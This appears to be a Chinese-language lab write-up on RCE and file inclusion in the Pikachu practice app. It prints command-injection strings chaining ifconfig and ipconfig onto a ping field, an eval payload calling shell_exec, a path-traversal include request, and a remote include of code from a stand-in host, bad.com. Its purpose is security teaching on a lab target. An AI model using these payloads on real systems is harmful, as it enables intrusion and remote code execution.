something about Pikachu - RCE

pikachu

pikachu => 备份地址

RCE(remote command/code execute)

概述

REC(远程命令执行漏洞),一般由于应用系统从设计上需要给用户提供指定的远程命令操作的接口。 比如常见的路由器,防火墙,入侵检测等设备的web管理界面。
一般给用户提供一个ping 操作的web界面,用户输入目标IP,提交后,系统后台执行ping命令, 如果没有对目标IP进行严格的安全控制,有可能会造成RCE漏洞

例如:

1
2
# ping 命令执行失败,执行`ifconfig`
ping 127.0.0.a || ifconfig

exec “ping”

  • 手动注入

    PHPshell_exec(cmd)函数,将调用系统shell执行cmd
    因此对参数进行构造,使得执行恶意命令。

    1
    2
    3
    # %7C => |
    # ipaddress=127.0.1.a || ipconfig
    ipaddress=127.0.1.a+%7C%7C+ipconfig&submit=ping

exec “eval”

  • 手动注入

    PHPeval(statement)函数,将statement解析为php语句进行执行。这 非常危险 。 因此构造参数,执行恶意命令。

    1
    echo shell_exec('ipconfig');

    将会执行eval("echo shell_exec('ipconfig');"),因此可以执行系统命令。


something about Pikachu - File Inclusion

pikachu

pikachu => 备份地址

File Inclusion

概述

各种开发语言都提供了内置的文件包含函数,使得开发人员可以在一个代码文件中包含(引入)另外一个代码文件。 PHP中提供了include()include_once()require()require_once()等函数。

当要包含的目标文件名被定义为变量,并期待前端用户传递此变量,若没有做够安全考虑,会引发文件包含漏洞

文件包含漏洞分为:

  • 本地文件包含漏洞

    仅能对服务器本地文件进行包含,由于包含文件并不受攻击者控制,因此更大可能是包含一些系统配置文件,进而读取系统敏感 信息。
    本地文件包含漏洞文件上传漏洞结合时,变相实现了包含任意文件的功能,危害更大。

  • 远程文件包含漏洞

    能够通过URL包含远程文件,因此可以包含任意文件,危害很大。

File Inclusion(local)

构造请求,包含指定文件。关于服务器文件路径,可以尝试利用命令执行漏洞来获取。

1
/pikachu/vul/fileinclude/fi_local.php?filename=../../../../bitnami.css&submit=Submit+Query

File Inclusion(remote)

构造请求,包含远程文件。

1
/pikachu/vul/fileinclude/fi_remote.php?filename=http://bad.com/bad.php&submit=Submit+Query